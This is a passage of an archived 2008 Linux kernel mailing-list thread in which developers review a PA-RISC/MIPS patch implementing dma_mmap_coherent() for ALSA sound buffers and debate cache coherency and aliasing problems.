Finally, there's the meta observation that this is exactly the type of
thing that the framebuffer code already does, so why reinvent a new way
of doing it rather than coming up with the correct infrastructure and
making them both use it?

James

---

From: Takashi Iwai <tiwai@suse.de>
Date: Tue, 17 Jun 2008 14:39:05 +0000 (+0200)
Subject: parisc: implement dma_mmap_coherent()
X-Git-Url: http://git.kernel.org/?p=linux%2Fkernel%2Fgit%2Ftiwai%2Fsound-2.6.git;a=commitdiff_plain;h=7a9dbc6e9d4798fd00005faebeff720c87f098df;hp=fb959151b618360fc74b8978d918182c82f67a4a

parisc: implement dma_mmap_coherent()

A lazy version of dma_mmap_coherent() implementation for PA-RISC.

Signed-off-by: Takashi Iwai <tiwai@suse.de>
---

diff --git a/arch/parisc/kernel/pci-dma.c b/arch/parisc/kernel/pci-dma.c
index ccd61b9..ddeecc2 100644
--- a/arch/parisc/kernel/pci-dma.c
+++ b/arch/parisc/kernel/pci-dma.c
@@ -545,6 +545,19 @@ static void pa11_dma_sync_sg_for_device(struct device *dev, struct scatterlist *
 		flush_kernel_dcache_range(sg_virt_addr(sglist), sglist->length);
 }
 
+static int pa11_dma_mmap_coherent(struct device *dev,
+				  struct vm_area_struct *vma,
+				  void *cpu_addr, dma_addr_t handle,
+				  size_t size)
+{
+	struct page *pg;
+	cpu_addr = __va(handle);
+	pg = virt_to_page(cpu_addr);
+	return remap_pfn_range(vma, vma->vm_start,
+			       page_to_pfn(pg) + vma->vm_pgoff,
+			       size, vma->vm_page_prot);
+}
+
 struct hppa_dma_ops pcxl_dma_ops = {
 	.dma_supported =	pa11_dma_supported,
 	.alloc_consistent =	pa11_dma_alloc_consistent,
@@ -558,6 +571,7 @@ struct hppa_dma_ops pcxl_dma_ops = {
 	.dma_sync_single_for_device = pa11_dma_sync_single_for_device,
 	.dma_sync_sg_for_cpu = pa11_dma_sync_sg_for_cpu,
 	.dma_sync_sg_for_device = pa11_dma_sync_sg_for_device,
+	.mmap_coherent =	pa11_dma_mmap_coherent,
 };
 
 static void *fail_alloc_consistent(struct device *dev, size_t size,
@@ -598,4 +612,5 @@ struct hppa_dma_ops pcx_dma_ops = {
 	.dma_sync_single_for_device =	pa11_dma_sync_single_for_device,
 	.dma_sync_sg_for_cpu =		pa11_dma_sync_sg_for_cpu,
 	.dma_sync_sg_for_device =	pa11_dma_sync_sg_for_device,
+	.mmap_coherent =	pa11_dma_mmap_coherent,
 };
diff --git a/include/asm-parisc/dma-mapping.h b/include/asm-parisc/dma-mapping.h
index 53af696..a66235b 100644
--- a/include/asm-parisc/dma-mapping.h
+++ b/include/asm-parisc/dma-mapping.h
@@ -19,6 +19,9 @@ struct hppa_dma_ops {
 	void (*dma_sync_single_for_device)(struct device *dev, dma_addr_t iova, unsigned long offset, size_t size, enum dma_data_direction direction);
 	void (*dma_sync_sg_for_cpu)(struct device *dev, struct scatterlist *sg, int nelems, enum dma_data_direction direction);
 	void (*dma_sync_sg_for_device)(struct device *dev, struct scatterlist *sg, int nelems, enum dma_data_direction direction);
+	int (*mmap_coherent)(struct device *dev, struct vm_area_struct *vma,
+			     void *cpu_addr, dma_addr_t handle, size_t size);
+
 };
 
 /*
@@ -204,6 +207,13 @@ dma_cache_sync(struct device *dev, void *vaddr, size_t size,
 		flush_kernel_dcache_range((unsigned long)vaddr, size);
 }
 
+static inline int
+dma_mmap_coherent(struct device *dev, struct vm_area_struct *vma,
+		  void *cpu_addr, dma_addr_t handle, size_t size)
+{
+	return hppa_dma_ops->mmap_coherent(dev, vma, cpu_addr, handle, size);
+}
+
 static inline void *
 parisc_walk_tree(struct device *dev)
 {

--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:02:42 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Takashi Iwai <tiwai@suse.de>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.ports.mips.general
Subject: Re: [PATCH] mips: Add dma_mmap_coherent()
Date: Wed, 20 Aug 2008 18:53:50 +0200
Lines: 152
Approved: news@gmane.org
Message-ID: <s5hzln7vd9d.wl%tiwai@suse.de>
References: <s5hk5eezcfe.wl%tiwai@suse.de>
	<1219249633.3258.18.camel@localhost.localdomain>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0 (generated by SEMI 1.14.6 - "Maruoka")
Content-Type: text/plain; charset=US-ASCII
X-Trace: ger.gmane.org 1219251269 21336 80.91.229.12 (20 Aug 2008 16:54:29 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Wed, 20 Aug 2008 16:54:29 +0000 (UTC)
Cc: linux-mips@linux-mips.org, ralf@linux-mips.org,
	Parisc List <linux-parisc@vger.kernel.org>
To: James Bottomley <James.Bottomley@HansenPartnership.com>
Original-X-From: linux-parisc-owner@vger.kernel.org Wed Aug 20 18:55:21 2008
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1KVqxS-00020o-En
	for glpp-linux-parisc@gmane.org; Wed, 20 Aug 2008 18:54:55 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1758636AbYHTQxy (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Wed, 20 Aug 2008 12:53:54 -0400
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1758908AbYHTQxy
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Wed, 20 Aug 2008 12:53:54 -0400
Original-Received: from cantor2.suse.de ([195.135.220.15]:55595 "EHLO mx2.suse.de"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S1756910AbYHTQxx (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Wed, 20 Aug 2008 12:53:53 -0400
Original-Received: from Relay1.suse.de (mail2.suse.de [195.135.221.8])
	(using TLSv1 with cipher DHE-RSA-AES256-SHA (256/256 bits))
	(No client certificate requested)
	by mx2.suse.de (Postfix) with ESMTP id 844C945FA7;
	Wed, 20 Aug 2008 18:53:51 +0200 (CEST)
In-Reply-To: <1219249633.3258.18.camel@localhost.localdomain>
User-Agent: Wanderlust/2.12.0 (Your Wildest Dreams) SEMI/1.14.6 (Maruoka)
 FLIM/1.14.7 (=?ISO-8859-4?Q?Sanj=F2?=) APEL/10.6 Emacs/22.2
 (x86_64-suse-linux-gnu) MULE/5.0 (SAKAKI)
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:633 gmane.linux.ports.mips.general:21318
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/633>

At Wed, 20 Aug 2008 11:27:12 -0500,
James Bottomley wrote:
> 
> On Mon, 2008-08-18 at 15:21 +0200, Takashi Iwai wrote:
> > I've been trying to fix a long-standing bug in ALSA, the mmap of
> > pages via dma_mmap_coherent().  Since the sound drivers need to expose
> > the whole buffer via mmap and the buffers are allocated via
> > dma_alloc_coherent(), it causes Oops on some architectures like MIPS.
> > One of the fix patches is this one, the addition of
> > dma_mmap_coherent() to MIPS architecture.
> > 
> > This implementation is pretty lazy (and untested) as you see below.
> > 
> > The whole patches are found on topic/dma-fix branch on sound-2.6 git
> > tree
> >   git://git.kernel.org/pub/scm/linux/kernel/git/tiwai/sound-2.6.git
> > 
> > The gitweb URL of the branch is:
> >   http://git.kernel.org/?p=linux/kernel/git/tiwai/sound-2.6.git;a=shortlog;h=topic/dma-fix
> > 
> > Any review and comments would be appreciated.
> 
> I've inlined the parisc piece ... although it would be helpful if you
> had posted it to the parisc list rather than letting the mips people
> forward it.

Oh sorry, I just wanted to discuss things first about MIPS
implementation to sort things out (I did with Ben about PPC patch).
But, appears better to discuss together, and I'm happy that you join.

> I'm afraid there are several problems.  The first is that it doesn't do
> what you want.  You can't map a coherent page to userspace (which is at
> a non congruent address on parisc) and still expect it to be
> coherent ... there's going to have to be fiddling with the page table
> caches to make sure coherency isn't destroyed by aliasing effects

Hmm...  how bad would be the coherency with such a simple mmap method?
In most cases, we don't need the "perfect" coherency.  Usually one
process mmaps the whole buffer and keep reading/writing.  There is
another use case (sharing the mmapped buffer by multiple processes),
but this can be disabled if we know it's not feasible beforehand.

> Secondly, it's incomplete ... there are two other instances of
> hppa_dma_ops in drivers/parisc ccio-dma.c and sba_iommu.c that would
> also need to have this added

OK, that must be fixed.

> Finally, there's the meta observation that this is exactly the type of
> thing that the framebuffer code already does, so why reinvent a new way
> of doing it rather than coming up with the correct infrastructure and
> making them both use it?

I don't think the method framebuffer using is so portable as reusable.
And, when the buffer is allocated via dma_mmap_coherent(), the fb
method can't be used anyway.  On x86 and others, dma_alloc_coherent()
is the right method to allocate pages, I suppose.


Thanks!

Takashi

> 
> James
> 
> ---
> 
> From: Takashi Iwai <tiwai@suse.de>
> Date: Tue, 17 Jun 2008 14:39:05 +0000 (+0200)
> Subject: parisc: implement dma_mmap_coherent()
> X-Git-Url: http://git.kernel.org/?p=linux%2Fkernel%2Fgit%2Ftiwai%2Fsound-2.6.git;a=commitdiff_plain;h=7a9dbc6e9d4798fd00005faebeff720c87f098df;hp=fb959151b618360fc74b8978d918182c82f67a4a
> 
> parisc: implement dma_mmap_coherent()
> 
> A lazy version of dma_mmap_coherent() implementation for PA-RISC.
> 
> Signed-off-by: Takashi Iwai <tiwai@suse.de>
> ---
> 
> diff --git a/arch/parisc/kernel/pci-dma.c b/arch/parisc/kernel/pci-dma.c
> index ccd61b9..ddeecc2 100644
> --- a/arch/parisc/kernel/pci-dma.c
> +++ b/arch/parisc/kernel/pci-dma.c
> @@ -545,6 +545,19 @@ static void pa11_dma_sync_sg_for_device(struct device *dev, struct scatterlist *
>  		flush_kernel_dcache_range(sg_virt_addr(sglist), sglist->length);
>  }
>  
> +static int pa11_dma_mmap_coherent(struct device *dev,
> +				  struct vm_area_struct *vma,
> +				  void *cpu_addr, dma_addr_t handle,
> +				  size_t size)
> +{
> +	struct page *pg;
> +	cpu_addr = __va(handle);
> +	pg = virt_to_page(cpu_addr);
> +	return remap_pfn_range(vma, vma->vm_start,
> +			       page_to_pfn(pg) + vma->vm_pgoff,
> +			       size, vma->vm_page_prot);
> +}
> +
>  struct hppa_dma_ops pcxl_dma_ops = {
>  	.dma_supported =	pa11_dma_supported,
>  	.alloc_consistent =	pa11_dma_alloc_consistent,
> @@ -558,6 +571,7 @@ struct hppa_dma_ops pcxl_dma_ops = {
>  	.dma_sync_single_for_device = pa11_dma_sync_single_for_device,
>  	.dma_sync_sg_for_cpu = pa11_dma_sync_sg_for_cpu,
>  	.dma_sync_sg_for_device = pa11_dma_sync_sg_for_device,
> +	.mmap_coherent =	pa11_dma_mmap_coherent,
>  };
>  
>  static void *fail_alloc_consistent(struct device *dev, size_t size,
> @@ -598,4 +612,5 @@ struct hppa_dma_ops pcx_dma_ops = {
>  	.dma_sync_single_for_device =	pa11_dma_sync_single_for_device,
>  	.dma_sync_sg_for_cpu =		pa11_dma_sync_sg_for_cpu,
>  	.dma_sync_sg_for_device =	pa11_dma_sync_sg_for_device,
> +	.mmap_coherent =	pa11_dma_mmap_coherent,
>  };
> diff --git a/include/asm-parisc/dma-mapping.h b/include/asm-parisc/dma-mapping.h
> index 53af696..a66235b 100644
> --- a/include/asm-parisc/dma-mapping.h
> +++ b/include/asm-parisc/dma-mapping.h
> @@ -19,6 +19,9 @@ struct hppa_dma_ops {
>  	void (*dma_sync_single_for_device)(struct device *dev, dma_addr_t iova, unsigned long offset, size_t size, enum dma_data_direction direction);
>  	void (*dma_sync_sg_for_cpu)(struct device *dev, struct scatterlist *sg, int nelems, enum dma_data_direction direction);
>  	void (*dma_sync_sg_for_device)(struct device *dev, struct scatterlist *sg, int nelems, enum dma_data_direction direction);
> +	int (*mmap_coherent)(struct device *dev, struct vm_area_struct *vma,
> +			     void *cpu_addr, dma_addr_t handle, size_t size);
> +
>  };
>  
>  /*
> @@ -204,6 +207,13 @@ dma_cache_sync(struct device *dev, void *vaddr, size_t size,
>  		flush_kernel_dcache_range((unsigned long)vaddr, size);
>  }
>  
> +static inline int
> +dma_mmap_coherent(struct device *dev, struct vm_area_struct *vma,
> +		  void *cpu_addr, dma_addr_t handle, size_t size)
> +{
> +	return hppa_dma_ops->mmap_coherent(dev, vma, cpu_addr, handle, size);
> +}
> +
>  static inline void *
>  parisc_walk_tree(struct device *dev)
>  {
> 
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:02:42 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: James Bottomley <James.Bottomley@HansenPartnership.com>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.ports.mips.general
Subject: Re: [PATCH] mips: Add dma_mmap_coherent()
Date: Wed, 20 Aug 2008 12:58:08 -0500
Lines: 28
Approved: news@gmane.org
Message-ID: <1219255088.3258.45.camel@localhost.localdomain>
References: <s5hk5eezcfe.wl%tiwai@suse.de>
	 <1219249633.3258.18.camel@localhost.localdomain>
	 <s5hzln7vd9d.wl%tiwai@suse.de>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1219255107 3942 80.91.229.12 (20 Aug 2008 17:58:27 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Wed, 20 Aug 2008 17:58:27 +0000 (UTC)
Cc: linux-mips@linux-mips.org, ralf@linux-mips.org,
	Parisc List <linux-parisc@vger.kernel.org>
To: Takashi Iwai <tiwai@suse.de>
Original-X-From: linux-parisc-owner@vger.kernel.org Wed Aug 20 19:59:16 2008
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1KVrxh-0003iy-DE
	for glpp-linux-parisc@gmane.org; Wed, 20 Aug 2008 19:59:13 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1751755AbYHTR6O (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Wed, 20 Aug 2008 13:58:14 -0400
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1751638AbYHTR6O
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Wed, 20 Aug 2008 13:58:14 -0400
Original-Received: from accolon.hansenpartnership.com ([76.243.235.52]:45719 "EHLO
	accolon.hansenpartnership.com" rhost-flags-OK-OK-OK-OK)
	by vger.kernel.org with ESMTP id S1751550AbYHTR6N (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Wed, 20 Aug 2008 13:58:13 -0400
Original-Received: from localhost (localhost [127.0.0.1])
	by accolon.hansenpartnership.com (Postfix) with ESMTP id 2C56680B4;
	Wed, 20 Aug 2008 12:58:11 -0500 (CDT)
Original-Received: from accolon.hansenpartnership.com ([127.0.0.1])
	by localhost (redscar.int.hansenpartnership.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id veSy+Esy4M4G; Wed, 20 Aug 2008 12:58:09 -0500 (CDT)
Original-Received: from [153.66.150.222] (mulgrave-w.int.hansenpartnership.com [153.66.150.222])
	by accolon.hansenpartnership.com (Postfix) with ESMTP id 9A61F806E;
	Wed, 20 Aug 2008 12:58:09 -0500 (CDT)
In-Reply-To: <s5hzln7vd9d.wl%tiwai@suse.de>
X-Mailer: Evolution 2.22.3.1 (2.22.3.1-1.fc9) 
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:634 gmane.linux.ports.mips.general:21319
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/634>

On Wed, 2008-08-20 at 18:53 +0200, Takashi Iwai wrote:
> > I'm afraid there are several problems.  The first is that it doesn't do
> > what you want.  You can't map a coherent page to userspace (which is at
> > a non congruent address on parisc) and still expect it to be
> > coherent ... there's going to have to be fiddling with the page table
> > caches to make sure coherency isn't destroyed by aliasing effects
> 
> Hmm...  how bad would be the coherency with such a simple mmap method?
> In most cases, we don't need the "perfect" coherency.  Usually one
> process mmaps the whole buffer and keep reading/writing.  There is
> another use case (sharing the mmapped buffer by multiple processes),
> but this can be disabled if we know it's not feasible beforehand.

Unfortunately, the incoherency is between the user and the kernel.
That's where the aliasing effects occur, so realistically, even though
you've mapped coherent memory to the user, the coherency of that memory
is only device <-> kernel.  When the any single user space process
writes to it, the device won't see the write unless the user issues a
flush.

James


--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:02:42 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Takashi Iwai <tiwai@suse.de>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.ports.mips.general
Subject: Re: [PATCH] mips: Add dma_mmap_coherent()
Date: Thu, 21 Aug 2008 12:19:40 +0200
Lines: 40
Approved: news@gmane.org
Message-ID: <s5hr68ivfer.wl%tiwai@suse.de>
References: <s5hk5eezcfe.wl%tiwai@suse.de>
	<1219249633.3258.18.camel@localhost.localdomain>
	<s5hzln7vd9d.wl%tiwai@suse.de>
	<1219255088.3258.45.camel@localhost.localdomain>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0 (generated by SEMI 1.14.6 - "Maruoka")
Content-Type: text/plain; charset=US-ASCII
X-Trace: ger.gmane.org 1219313997 15870 80.91.229.12 (21 Aug 2008 10:19:57 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Thu, 21 Aug 2008 10:19:57 +0000 (UTC)
Cc: linux-mips@linux-mips.org, ralf@linux-mips.org,
	Parisc List <linux-parisc@vger.kernel.org>
To: James Bottomley <James.Bottomley@HansenPartnership.com>
Original-X-From: linux-parisc-owner@vger.kernel.org Thu Aug 21 12:20:50 2008
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1KW7HW-000170-1q
	for glpp-linux-parisc@gmane.org; Thu, 21 Aug 2008 12:20:42 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1752854AbYHUKTm (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Thu, 21 Aug 2008 06:19:42 -0400
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1752899AbYHUKTm
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Thu, 21 Aug 2008 06:19:42 -0400
Original-Received: from cantor2.suse.de ([195.135.220.15]:38942 "EHLO mx2.suse.de"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S1752854AbYHUKTl (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Thu, 21 Aug 2008 06:19:41 -0400
Original-Received: from Relay1.suse.de (mail2.suse.de [195.135.221.8])
	(using TLSv1 with cipher DHE-RSA-AES256-SHA (256/256 bits))
	(No client certificate requested)
	by mx2.suse.de (Postfix) with ESMTP id 7C8D745E68;
	Thu, 21 Aug 2008 12:19:40 +0200 (CEST)
In-Reply-To: <1219255088.3258.45.camel@localhost.localdomain>
User-Agent: Wanderlust/2.12.0 (Your Wildest Dreams) SEMI/1.14.6 (Maruoka)
 FLIM/1.14.7 (=?ISO-8859-4?Q?Sanj=F2?=) APEL/10.6 Emacs/22.2
 (x86_64-suse-linux-gnu) MULE/5.0 (SAKAKI)
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:635 gmane.linux.ports.mips.general:21328
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/635>

At Wed, 20 Aug 2008 12:58:08 -0500,
James Bottomley wrote:
> 
> On Wed, 2008-08-20 at 18:53 +0200, Takashi Iwai wrote:
> > > I'm afraid there are several problems.  The first is that it doesn't do
> > > what you want.  You can't map a coherent page to userspace (which is at
> > > a non congruent address on parisc) and still expect it to be
> > > coherent ... there's going to have to be fiddling with the page table
> > > caches to make sure coherency isn't destroyed by aliasing effects
> > 
> > Hmm...  how bad would be the coherency with such a simple mmap method?
> > In most cases, we don't need the "perfect" coherency.  Usually one
> > process mmaps the whole buffer and keep reading/writing.  There is
> > another use case (sharing the mmapped buffer by multiple processes),
> > but this can be disabled if we know it's not feasible beforehand.
> 
> Unfortunately, the incoherency is between the user and the kernel.
> That's where the aliasing effects occur, so realistically, even though
> you've mapped coherent memory to the user, the coherency of that memory
> is only device <-> kernel.  When the any single user space process
> writes to it, the device won't see the write unless the user issues a
> flush.

I see.  In the case of ALSA mmap mode, a user issues an ioctl to
notify after the read/write access, so it'd be relatively easy to add
a sync operation.

Does the call of dma_sync_*_for_device() suffice for that purpose?

(BTW, how does the fb driver work on this?)


Thanks!

Takashi
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:02:42 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Ralf Baechle <ralf@linux-mips.org>
Newsgroups: gmane.linux.ports.mips.general,gmane.linux.ports.parisc
Subject: Re: [PATCH] mips: Add dma_mmap_coherent()
Date: Thu, 21 Aug 2008 11:20:52 +0100
Lines: 29
Approved: news@gmane.org
Message-ID: <20080821102052.GA31001@linux-mips.org>
References: <s5hk5eezcfe.wl%tiwai@suse.de> <1219249633.3258.18.camel@localhost.localdomain> <s5hzln7vd9d.wl%tiwai@suse.de> <1219255088.3258.45.camel@localhost.localdomain>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1219314106 16271 80.91.229.12 (21 Aug 2008 10:21:46 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Thu, 21 Aug 2008 10:21:46 +0000 (UTC)
Cc: Takashi Iwai <tiwai@suse.de>, linux-mips@linux-mips.org,
	Parisc List <linux-parisc@vger.kernel.org>
To: James Bottomley <James.Bottomley@HansenPartnership.com>
Original-X-From: linux-mips-bounce@linux-mips.org Thu Aug 21 12:22:38 2008
Return-path: <linux-mips-bounce@linux-mips.org>
Envelope-to: sgi-linux-mips@gmane.org
Original-Received: from ftp.linux-mips.org ([213.58.128.207])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1KW7JN-0001xm-FN
	for sgi-linux-mips@gmane.org; Thu, 21 Aug 2008 12:22:37 +0200
Original-Received: from localhost.localdomain ([127.0.0.1]:1736 "EHLO
	ftp.linux-mips.org") by ftp.linux-mips.org with ESMTP
	id S20029855AbYHUKVa (ORCPT <rfc822;sgi-linux-mips@gmane.org>);
	Thu, 21 Aug 2008 11:21:30 +0100
Original-Received: with ECARTIS (v1.0.0; list linux-mips); Thu, 21 Aug 2008 11:21:13 +0100 (BST)
Original-Received: from ditditdahdahdah-dahditditditdit.dl5rb.org.uk ([217.169.26.26]:64489
	"EHLO ditditdahdahdah-dahdahdahditdit.dl5rb.org.uk")
	by ftp.linux-mips.org with ESMTP id S20029407AbYHUKVD (ORCPT
	<rfc822;linux-mips@linux-mips.org>); Thu, 21 Aug 2008 11:21:03 +0100
Original-Received: from denk.linux-mips.net (denk.linux-mips.net [127.0.0.1])
	by ditditdahdahdah-dahdahdahditdit.dl5rb.org.uk (8.14.2/8.14.1) with ESMTP id m7LAKs9D031107;
	Thu, 21 Aug 2008 11:20:54 +0100
Original-Received: (from ralf@localhost)
	by denk.linux-mips.net (8.14.2/8.14.2/Submit) id m7LAKqxt031106;
	Thu, 21 Aug 2008 11:20:52 +0100
Content-Disposition: inline
In-Reply-To: <1219255088.3258.45.camel@localhost.localdomain>
User-Agent: Mutt/1.5.18 (2008-05-17)
X-archive-position: 20298
X-ecartis-version: Ecartis v1.0.0
Original-Sender: linux-mips-bounce@linux-mips.org
Errors-to: linux-mips-bounce@linux-mips.org
X-original-sender: ralf@linux-mips.org
Precedence: bulk
X-list: linux-mips
Xref: news.gmane.org gmane.linux.ports.mips.general:21329 gmane.linux.ports.parisc:636
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/636>

On Wed, Aug 20, 2008 at 12:58:08PM -0500, James Bottomley wrote:

> On Wed, 2008-08-20 at 18:53 +0200, Takashi Iwai wrote:
> > > I'm afraid there are several problems.  The first is that it doesn't do
> > > what you want.  You can't map a coherent page to userspace (which is at
> > > a non congruent address on parisc) and still expect it to be
> > > coherent ... there's going to have to be fiddling with the page table
> > > caches to make sure coherency isn't destroyed by aliasing effects
> > 
> > Hmm...  how bad would be the coherency with such a simple mmap method?
> > In most cases, we don't need the "perfect" coherency.  Usually one
> > process mmaps the whole buffer and keep reading/writing.  There is
> > another use case (sharing the mmapped buffer by multiple processes),
> > but this can be disabled if we know it's not feasible beforehand.
> 
> Unfortunately, the incoherency is between the user and the kernel.
> That's where the aliasing effects occur, so realistically, even though
> you've mapped coherent memory to the user, the coherency of that memory
> is only device <-> kernel.  When the any single user space process
> writes to it, the device won't see the write unless the user issues a
> flush.

Same applied on MIPS.  Some platforms have the additional requirement that
the buffer must not be mapped by the TLB during the DMA operation or bad
things could happen.

  Ralf



From - Thu Nov 08 21:02:42 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Takashi Iwai <tiwai@suse.de>
Newsgroups: gmane.linux.ports.mips.general,gmane.linux.ports.parisc
Subject: Re: [PATCH] mips: Add dma_mmap_coherent()
Date: Thu, 21 Aug 2008 12:25:20 +0200
Lines: 37
Approved: news@gmane.org
Message-ID: <s5hod3mvf5b.wl%tiwai@suse.de>
References: <s5hk5eezcfe.wl%tiwai@suse.de>
	<1219249633.3258.18.camel@localhost.localdomain>
	<s5hzln7vd9d.wl%tiwai@suse.de>
	<1219255088.3258.45.camel@localhost.localdomain>
	<20080821102052.GA31001@linux-mips.org>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0 (generated by SEMI 1.14.6 - "Maruoka")
Content-Type: text/plain; charset=US-ASCII
X-Trace: ger.gmane.org 1219314354 16881 80.91.229.12 (21 Aug 2008 10:25:54 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Thu, 21 Aug 2008 10:25:54 +0000 (UTC)
Cc: James Bottomley <James.Bottomley@HansenPartnership.com>,
	linux-mips@linux-mips.org,
	Parisc List <linux-parisc@vger.kernel.org>
To: Ralf Baechle <ralf@linux-mips.org>
Original-X-From: linux-mips-bounce@linux-mips.org Thu Aug 21 12:26:47 2008
Return-path: <linux-mips-bounce@linux-mips.org>
Envelope-to: sgi-linux-mips@gmane.org
Original-Received: from ftp.linux-mips.org ([213.58.128.207])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1KW7NO-000360-Hf
	for sgi-linux-mips@gmane.org; Thu, 21 Aug 2008 12:26:46 +0200
Original-Received: from localhost.localdomain ([127.0.0.1]:5590 "EHLO
	ftp.linux-mips.org") by ftp.linux-mips.org with ESMTP
	id S20030696AbYHUKZp (ORCPT <rfc822;sgi-linux-mips@gmane.org>);
	Thu, 21 Aug 2008 11:25:45 +0100
Original-Received: with ECARTIS (v1.0.0; list linux-mips); Thu, 21 Aug 2008 11:25:28 +0100 (BST)
Original-Received: from ns1.suse.de ([195.135.220.2]:4790 "EHLO mx1.suse.de")
	by ftp.linux-mips.org with ESMTP id S20030049AbYHUKZV (ORCPT
	<rfc822;linux-mips@linux-mips.org>); Thu, 21 Aug 2008 11:25:21 +0100
Original-Received: from Relay1.suse.de (mail2.suse.de [195.135.221.8])
	(using TLSv1 with cipher DHE-RSA-AES256-SHA (256/256 bits))
	(No client certificate requested)
	by mx1.suse.de (Postfix) with ESMTP id B9C3241892;
	Thu, 21 Aug 2008 12:25:20 +0200 (CEST)
In-Reply-To: <20080821102052.GA31001@linux-mips.org>
User-Agent: Wanderlust/2.12.0 (Your Wildest Dreams) SEMI/1.14.6 (Maruoka)
 FLIM/1.14.7 (=?ISO-8859-4?Q?Sanj=F2?=) APEL/10.6 Emacs/22.2
 (x86_64-suse-linux-gnu) MULE/5.0 (SAKAKI)
X-archive-position: 20299
X-ecartis-version: Ecartis v1.0.0
Original-Sender: linux-mips-bounce@linux-mips.org
Errors-to: linux-mips-bounce@linux-mips.org
X-original-sender: tiwai@suse.de
Precedence: bulk
X-list: linux-mips
Xref: news.gmane.org gmane.linux.ports.mips.general:21330 gmane.linux.ports.parisc:637
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/637>

At Thu, 21 Aug 2008 11:20:52 +0100,
Ralf Baechle wrote:
> 
> On Wed, Aug 20, 2008 at 12:58:08PM -0500, James Bottomley wrote:
> 
